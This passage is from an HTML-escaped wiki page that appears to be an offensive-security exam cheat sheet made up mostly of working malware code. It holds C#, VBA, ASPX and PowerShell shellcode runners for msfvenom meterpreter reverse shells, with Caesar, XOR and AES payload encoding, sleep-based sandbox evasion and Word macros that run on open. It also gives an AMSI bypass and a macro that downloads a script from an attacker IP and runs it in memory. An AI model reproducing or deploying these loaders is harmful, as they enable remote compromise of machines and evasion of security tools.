            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
Create a macro in Word (See cheatsheet I) and insert code.&lt;br /&gt;
&lt;br /&gt;
If Word is running in 64-bit the code below will need changes.&lt;br /&gt;
&lt;br /&gt;
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For the code below to work in 64-bit Word.&lt;br /&gt;
# If you&#039;re still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below.&lt;br /&gt;
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I&#039;m not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can&#039;t, so maybe it has to do with my not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Private Declare PtrSafe Sub RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long)&lt;br /&gt;
# Second, I changed the line calling RtlMoveMemory since it&#039;s not returning anything anymore.&lt;br /&gt;
Code:&lt;br /&gt;
Call RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
# After making these changes it didn&#039;t error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return.&lt;br /&gt;
Code:&lt;br /&gt;
Dim res As LongPtr&lt;br /&gt;
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;KERNEL32&amp;quot; (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;KERNEL32&amp;quot; (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr&lt;br /&gt;
Function MyMacro()&lt;br /&gt;
Dim buf As Variant&lt;br /&gt;
Dim addr As LongPtr&lt;br /&gt;
Dim counter As Long&lt;br /&gt;
Dim data As Long&lt;br /&gt;
Dim res As Long&lt;br /&gt;
buf = Array(INSERT SHELLCODE HERE)&lt;br /&gt;
addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
data = buf(counter)&lt;br /&gt;
res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
Next counter&lt;br /&gt;
res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Function&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UAC Bypass ==&lt;br /&gt;
&lt;br /&gt;
https://book.ghanim.no/?p=2698#UAC_Bypass&lt;br /&gt;
&lt;br /&gt;
